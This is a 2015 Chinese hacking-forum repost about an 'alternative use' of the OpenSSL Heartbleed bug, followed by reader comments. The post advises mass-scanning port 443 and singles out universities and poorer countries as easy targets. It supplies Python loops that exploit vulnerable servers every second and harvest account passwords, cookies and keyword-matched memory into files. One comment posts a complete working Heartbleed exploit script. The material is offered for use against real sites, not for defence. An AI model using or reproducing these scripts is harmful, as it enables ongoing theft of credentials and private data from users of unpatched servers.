心脏滴血另类玩法-转自lijiejie
李旭敏 ((҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉) | 2015-06-28 00:19
本文转自lijiejie博客,觉得好玩且很屌就转过来了···虽然没有经过本人同意希望李姐姐不要介意
在遇到存在某些心脏滴血的时候是否会直接提交了事?说不定你会错漏一些重要信息。
下面要说的是就是可以写一个脚本循环监控存在心脏滴血的站点,存在cookie或者某些帐号密码的时候会保存下来。
OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把,也让另一些人惊慌了一把。
单纯从攻击的角度讲,我已知道的,网上公开的扫描工具有:
1. Nmap脚本ssl-heartbleed.nse: http://nmap.org/nsedoc/scripts/ssl-heartbleed.html
1
nmap -sV --script=ssl-heartbleed <target>
2. Jared Stafford的testssl.py: https://gist.github.com/sh1n0b1/10100394
3. CSHeartbleedScanner: http://www.crowdstrike.com/community-tools/
若想要批量寻找攻击目标,可以直接扫目标IP段的443端口。高校和互联网不发达的国家都是比较容易攻击的。
得到活跃主机IP地址,再导入上述扫描器。
针对特定的某个攻击目标,可以查看已经读到的内容,利用正则表达式不停拉抓账号密码。
也可以根据关键词,不停抓下cookie,账号等。
将testssl.py的代码修改为不输出偏移地址和非ascii字符,找到hexdump函数,修改为:
def hexdump(s): pdat = '' for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print '%s' % (pdat.replace('......', ''),) print
这样就只输出有用的ascii字符串了。
1. 正则表达式抓账号
import os import re import time accounts = [] while True: result = os.popen('openssl.py ').read() matches = re.findall('"db":"(.*?)","login":"(.*?)","password":"(.*?)"', result) for match in matches: if match not in accounts: accounts.append(match) with open('accounts.txt', 'a') as inFile: inFile.write(str(match) + '\n') print 'New Account:', match time.sleep(1.0)
脚本间隔一秒钟读一次数据,发现正则匹配的账号密码,若之前没出现过,就写入accounts.txt文件。
这样可以避免重复写入同样的账号、密码。
2. 根据关键词抓数据
如果并不确定后台地址,也不知道登录请求、Cookie的格式,直接用关键词抓账号就行了。
类似下面的代码:
import os import re import time accounts = [] while True: result = os.popen('openssl.py ').read() keywords = ['system', 'password', 'passwd', 'admin'] for word in keywords: if result.find(word) > 0: print 'new data', time.asctime() with open('data_1\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f: f.write(result) break time.sleep(1.0)
这样一旦返回的数据中存在关键词passwd、password等,就会把数据写入data_1文件夹下面,以时间命名。
经典案例:WooYun: 对唱吧的渗透测试(进入若干后台和运维系统,拨入VPN)
使用方法直接放在心脏滴血脚本的根目录下修改代码中的文件调用python脚本。
相关内容:
Heartbleed 蜜罐脚本,OpenSSL 心脏出血漏洞蜜罐脚本,抓exp代码
openssl 多线程 多域名 EXP,支持自定义端口,保存二进制文件,节省空间
openssl 漏洞利用程序,支持smtp, pop3, imap, ftp, or xmpp的POC
OpenSSL 漏洞利用程序脚本 POC,OpenSSL“heartbleed”重大安全漏洞!
OpenSSL心脏滴血漏洞另类玩法,持续监视目标数据,收集提取有价值信息,OpenSSL Heartbleed
Struts2 Tomcat 赋值造成的DoS及远程代码执行利用!
Struts2 S2-016/S2-017 命令执行带回显、看web路径、getshell exp整理
Struts2 S2-016/S2-017 查看物理路径 EXP
struts2 最新S2-016-S2-017漏洞通杀struts2所有版本
Struts2 5个远程代码执行漏洞利用POC + 批量 + DEMO
各种吐槽:
1#
Black Angel | 2015-06-28 00:35
哦
2#
超蓝 (换个马甲好好做人,请叫我暧昧) | 2015-06-28 00:35
收藏
3#
DARKSTON (我什么都没有,只有裤子。) | 2015-06-28 01:01
@lijiejie
4#感谢(1)
枪花 | 2015-06-28 01:09
好文 技术牛
5#
scanf (www.scanfsec.com 网络尖刀) | 2015-06-28 09:07
#!/usr/bin/python import sys import struct import socket import time import select import re def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): pdat = '' for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] pdat += ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print '%s' % (pdat.replace('......', ''),) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False def exp(arg): return True, arg def audit(arg): host, port = arg try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(hello) while True: typ, ver, pay = recvmsg(s) if typ == None: return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break s.send(hb) if hit_hb(s): security_hole(host) s.close() except: pass if __name__ == '__main__': audit(exp(('www.xx.com', 443))[1])
6#
scanf (www.scanfsec.com 网络尖刀) | 2015-06-28 09:08
不知道openssl.py这样修改能用不?@lijiejie
7#
Ivan (Null.) | 2015-06-28 12:46
屌。
8#
’‘Nome (<>?:"{}!%^#&*看出啥来了?) | 2015-06-28 12:52
@scanf 你这是滴血脚本?
9#
小v | 2015-06-28 14:39
求实战过程,求待
10#
Skull ((data;)) | 2015-06-28 16:36
挺好用的。
11#
夸父追日 (快11岁了,我也想要个蓝V) | 2015-06-28 19:56
李旭敏大牛,神话?
12#
我是小号6 (1:7长期收购wb,QQ2111756213) | 2015-06-28 21:18
转的也有wb奖励?
13#
Annabelle (?php phpinfo;?) | 2015-06-28 23:40
马克
14#
if、so | 2015-06-29 10:21
很常见的场景,后来一直跑,对方更新openssl了
15#
刺刺 | 2015-06-29 13:22
唉,没有办法啊,工具党看不懂人家的代码,后来自己用UE看了几十个GB的bin文件,手工查找password,然后复制出来……
16#
我是壮丁 (专业打酱油) | 2015-06-30 15:23
更具特征,只能针对性的提取,没有很通用的东西吧
17#
scanf (www.scanfsec.com 网络尖刀) | 2015-06-30 16:04
嗯
18#
听说乌云的大牛很多 | 2015-06-30 22:17
收藏
留言评论(旧系统):